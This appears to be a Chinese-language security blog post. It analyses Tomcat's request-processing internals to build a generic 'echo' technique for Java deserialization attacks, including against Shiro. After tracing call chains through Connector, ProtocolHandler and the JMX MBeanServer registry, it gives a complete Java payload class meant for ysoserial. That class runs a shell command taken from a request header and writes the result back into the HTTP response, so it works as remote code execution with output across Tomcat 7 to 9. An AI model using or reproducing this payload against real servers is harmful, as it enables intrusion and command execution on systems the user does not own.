最近兩個月都在寫通用的Java漏洞利用框架沒怎麼跟進最新的技術文章,現在項目終於到了一個較爲穩定的階段終於有時間可以學習一下這兩個月中的技術文章了。給我印象比較深刻的是 LandGrey李三kingkkLitch1threedr3am 幾位師傅對於Tomcat通用回顯方式的總結。最開始我沒看幾位師傅的文章自己調了一下,找到了 Litch1 、和 李三 師傅的回顯思路,本篇主要用於記錄個人的調試學習過程。

0x01 思考

在尋找解決方案前來思考一下具體的需求是什麼,我個人的需求如下:

Shiro

以中間件爲依託完成回顯功能的優勢是:

  • 跨平臺通用
  • 原生支持性好,不會出現連接中斷的現象

綜上,可以看到我們需要一種在Tomcat Filter處理邏輯之前就將執行結果寫入返回包的回顯方式。

簡單的寫一個 servlet ,看一下Tomcat的調用棧。這裏我調試的Tomcat版本爲 8.5.47 ,不同的Tomcat版本處理邏輯相同,但是其中的部分數據結構有所改變。

爲了保證類似 Shiro 這裏 Filter 應用也可以完成回顯,就需要在Tomcat執行該 Filter 之前將執行結果寫入 response 中。所以核心的切入點就是跟蹤 Http11Processor 的前後處理邏輯,嘗試獲取本次請求,並將結果寫入返回包中。

0x02 尋找利用鏈

尋找利用鏈主要分爲兩步,獲取本次請求、獲取返回包。

2.1 獲取返回包

首先查看 Http11Processor 處的邏輯:

主要是調用對應的適配器,並將 requestresponse 作爲參數傳入 service() 方法中。通過這一部分代碼可以得出兩點結論:

  • requestresponse 對象是在此之前就完成初始化的。
  • 此處使用了適配器模式,證明有多個 Processor 的執行邏輯是相同的。同時適配器的初始化也是在此前完成的,而適配器的初始化過程中必定存在將本次連接內容保存下來的屬性。

向上跟蹤一下 requestresponse 對象,發現是在 AbstractProcessor 抽象類的一個屬性,且在構造函數中完成初始化:

Http11Processor 繼承於 AbstractProcessor ,具體的繼承樹爲:

Http11Processor 的構造方法中調用了父類的構造方法,完成 requestresponse 對象的初始化:

ok,目前我們已經知道 requestresponse 對象在什麼地方完成的初始化,同時也知道了 request 對象中包含 response 對象,也就是說我們後面只需要關心如何獲取 request 對象即可。接下來看一下是否有相關的方法可以調用到 request 這個 protected 對象:

AbstractProcessor 抽象類中提供了 getRequest() 方法來獲取 request 對象,同時在 Request 類中也存在相應的方法獲取到 Response 對象:

如果想要將執行結果寫入返回包的包體中,調用 Response.doWrite() 方法即可,如果想要寫到返回包包頭中,調用 Response.setHeader() 方法即可。

總結一下,目前我們找了獲取返回包並寫入內容的調用鏈:

Http11Processor#getRequest() -> 
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

2.2 獲取Processor對象

在2.1中我們已經完成了回顯的後半部分即獲取 Response ,並將內容寫入的部分,但是如果想要利用這個調用鏈,我們就必須繼續向上跟蹤,找到符合本次請求的 Http11Processor 對象。

想要尋找本次請求的 Http11Processor 對象,就需要從 Processor 對象的初始化看起,具體的初始化代碼在 ConnectionHandler#process 中:

connnections 對象是 ConnectionHandler 中定義的一個Map,用於存放 socket-processor 對象。在這段代碼中可以清楚的看到,首次訪問時 connections 中並不存在 processor ,所以會觸發 Processor 的初始化流程及註冊操作。跟進 register() 方法,查看Tomcat是如何完成 Processor 註冊的。

這段代碼有個非常有意思的地方,我們可以注意到 register() 方法的關鍵就是將 RequestInfo 進行註冊,但是在註冊前會調用 rp.setGlobalProcessor(global); 我們來具體看一下 global 是什麼:

可以看到 RequestGroupInfo 類中存在 RequestInfo 的一個列表,在 RequestInfosetGlobalProcessor() 方法中又將 RequestInfo 對象本身註冊到 RequestGroupInfo 中:

所以 global 中所保存的內容和後面調用 Registry.registerComponent() 方法相同。也就是說有兩種思路獲取 Processor 對象:

  • 尋找獲取 global 的方法
  • 跟蹤 Registry.registerComponent() 流程,查看具體的 RequestInfo 對象被註冊到什麼地方了

兩種方法對應了 Litch1李三 師傅的兩種獲取方式。

2.2.1 獲取 global

想要獲取 global 就需要獲取到 AbstractProtocolAbstractProtocol 實現了 ProtocolHandler ,也就是說只要能找到獲取 ProtocolHandler 實現類的方法就可以調用 AbstractProtocolConnectionHandler 靜態類。依賴樹如下:

所以調用鏈就變成了:

AbstractProtocol$ConnectionHandler ->
global ->
RequestInfo ->
Http11Processor#getRequest() -> 
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

到此爲止我們已經找到大半部分的調用鏈了,那如何找到獲取 ProtocolHandler 的方法呢?這需要向下看,看具體調用時是如何觸發的。Tomcat使用了 Coyote 框架來封裝底層的socket連接數據,在 Coyote 框架中包含了核心類 ProtocolHandler ,主要用於接收 socket 對象,再交給對應協議的 Processor 類,最後由 Processor 類交給實現了 Adapter 接口的容器。

在調用棧中也可以看出這一流程:

這裏直接跟進一下 CoyoteAdapter#service

這裏主要負責將 org.apache.coyote.Requestorg.apache.coyote.Response 轉換爲 org.apache.catalina.connector.Requestorg.apache.catalina.connector.Response ,如果還未註冊爲notes,則調用 connectorcreateRequest()createResponse() 方法創建對應的 RequestResponse 對象。

而關鍵的調用爲:

可以簡單的理解一下: CoyoteAdapter 通過 connector 對象來完成後續流程的,也就是說在 connector 對象中保存着和本次請求有關的所有信息,較爲準確的說法是在Tomcat初始化 StandardService 時,會啓動 ContainerExecutormapperListener 及所有的 Connector 。其中 Executor 負責爲 Connector 處理請求提供共用的線程池, mapperListener 負責將請求映射到對應的容器中, Connector 負責接收和解析請求。所以對於單個請求來說,其相關的信息及調用關係都保存在 Connector 對象中,從上面的代碼中也可以看出一些端倪。所以直接看一下 Connection 類:

其中有public方法 getProtocolHandler() 可以直接獲得 ProtocolHandler 。所以調用鏈就變成了:

Connector#getProtocolHandler() ->
AbstractProtocol$ConnectionHandler ->
global ->
RequestInfo ->
Http11Processor#getRequest() -> 
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

就如上文所說, Connector 是在Tomcat初始化 StandardService 時完成初始化的,初始化的具體代碼在 org.apache.catalina.core.StandardService#initInternal

而在初始化 StandardService 之前就已經調用 org.apache.catalina.startup.Tomcat#setConnector 完成 Connector 設置了:

所以再次梳理一下調用鏈:

StandardService ->
Connector#getProtocolHandler() ->
AbstractProtocol$ConnectionHandler ->
global ->
RequestInfo ->
Http11Processor#getRequest() -> 
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

最終的問題就是如何獲得 StandardService 了,這裏可以利用打破雙親委派的思路,這一點在我寫Java攻擊框架時用過,就是利用 Thread.getCurrentThread().getContextClassLoader() 來獲取當前線程的 ClassLoader ,從 resources 當中尋找即可。

具體的利用代碼這裏就不再贅述了,可以直接看 Litch1師傅分享出的代碼

2.2.2 從Registry中獲取

其實回顧一下2.2.1中所提到的內容,無非是從 Connector 入手拿到 ProtocolHandler 。其實再仔細看一下 Connector 類的依賴樹就可以發現其實所有的參數並非是單獨存放在這些類中的一個屬性中的,而是都被註冊到了 MBeanServer 中的:

所以其實更加通用的方式就是直接通過 MBeanServer 來獲得這個參數。

我們在2.2中看到了 ConnectionHandler 是用 Registry.getRegistry(null, null).registerComponent(rp,rpName, null);RequestInfo 註冊到 MBeanServer 中的,那麼我們跟進看一下 Registry 類中有什麼方法可以供我們獲得 MBeanServer ,只要拿到了 MBeanServer ,就可以從其中拿到被註冊的 RequestInfo 對象了。

Registry 類中提供了 getMBeanServer() 方法用於獲得(或創建) MBeanServer 。在 JmxMBeanServer 中,其 mbsInterceptor 對象存放着對應的 MBeanServer 實例,這個 mbsInterceptor 對象經過動態調試就是 com.sun.jmx.interceptor.DefaultMBeanServerInterceptor 。在 DefaultMBeanServerInterceptor 存在一個 Repository 屬性由於將註冊的MBean進行保存,我們這裏可以直接使用 com.sun.jmx.mbeanserver.Repository#query 方法來篩選出所有註冊名(其實就是具體的每次請求)包含 http-nio-* (*爲具體的tomcat端口號)的 BaseModelMBean 對象:

這裏由於測試的關係只存在一個對象,在具體構造時可以直接遍歷所有符合條件的情況。其中 object.resource.processors 中就保存着請求的 RequestInfo 對象,至此就可以通過 RequestInfo 對象的 req 屬性來得到請求的 Response 對象,完成回顯。

總結一下調用鏈:

Registry.getRegistry(null, null).getMBeanServer() ->
JmxMBeanServer.mbsInterceptor ->
DefaultMBeanServerInterceptor.repository ->
Registory#query ->
RequestInfo ->
Http11Processor#getRequest() -> 
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

0x03 利用

具體的調用邏輯在2.2.1和2.2.2中都有總結,總體來說就是用反射一點點完成構造,這裏我只羅列2.2.2中的方法,因爲2.2.2的方法更爲通用,可以經測試在Tomcat7、8、9中都可以使用。需要注意有以下幾點:

  • Tomcat7及低版本Tomcat8(具體版本沒有測試,實驗用版本爲8.5.9)中,在最終將結果寫入Response時需要使用 ByteChunk 而非 ByteBuffer
  • Tomcat9及高版本Tomcat8(試驗用版本爲8.5.47)只能使用 ByteBuffer

最終的利用代碼如下:

package com.lucifaer.tomcatEcho;

import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.coyote.Request;
import org.apache.tomcat.util.modeler.Registry;

import javax.management.MBeanServer;
import javax.management.ObjectName;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.util.*;

/**
 * @author Lucifaer
 * @version 4.1
 */
public class Tomcat8 extends AbstractTranslet {
    public Tomcat8() {
        try {
            MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
            Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
            field.setAccessible(true);
            Object mbsInterceptor = field.get(mBeanServer);

            field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
            field.setAccessible(true);
            Repository repository = (Repository) field.get(mbsInterceptor);
            Set<NamedObject> set = repository.query(new ObjectName("*:type=GlobalRequestProcessor,name=\"http*\""), null);

            Iterator<NamedObject> it = set.iterator();
            while (it.hasNext()) {
                NamedObject namedObject = it.next();
                field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("name");
                field.setAccessible(true);
                ObjectName flag = (ObjectName) field.get(namedObject);
                String canonicalName = flag.getCanonicalName();

                field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
                field.setAccessible(true);
                Object obj = field.get(namedObject);

                field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
                field.setAccessible(true);
                Object resource = field.get(obj);

                field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                field.setAccessible(true);
                ArrayList processors = (ArrayList) field.get(resource);

                field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                field.setAccessible(true);
                for (int i=0; i < processors.size(); i++) {
                    Request request = (Request) field.get(processors.get(i));
                    String header = request.getHeader("lucifaer");
                    System.out.println("cmds is:" + header);
                    System.out.println(header == null);
                    if (header != null && !header.equals("")) {
                        String[] cmds = new String[] {"/bin/bash", "-c", header};
                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("\\a");
                        String out = "";

                        while (s.hasNext()) {
                            out += s.next();
                        }

                        byte[] buf = out.getBytes();
                        if (canonicalName.contains("nio")) {
                            ByteBuffer byteBuffer = ByteBuffer.wrap(buf);
//                    request.getResponse().setHeader("echo", out);
                            request.getResponse().doWrite(byteBuffer);
                            request.getResponse().getBytesWritten(true);
                        }
                        else if (canonicalName.contains("bio")) {
                            //tomcat 7使用需要使用ByteChunk來將byte寫入
//                            ByteChunk byteChunk = new ByteChunk();
//                            byteChunk.setBytes(buf, 0, buf.length);
//                            request.getResponse().doWrite(byteChunk);
//                            request.getResponse().getBytesWritten(true);
                        }

                    }
                }
            }

        }catch (Throwable throwable) {
            throwable.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

具體如何將其加入Ysoserial,可以參考 李三 師傅的方式

利用效果如下:

測試普通JSP

測試shiro

相關文章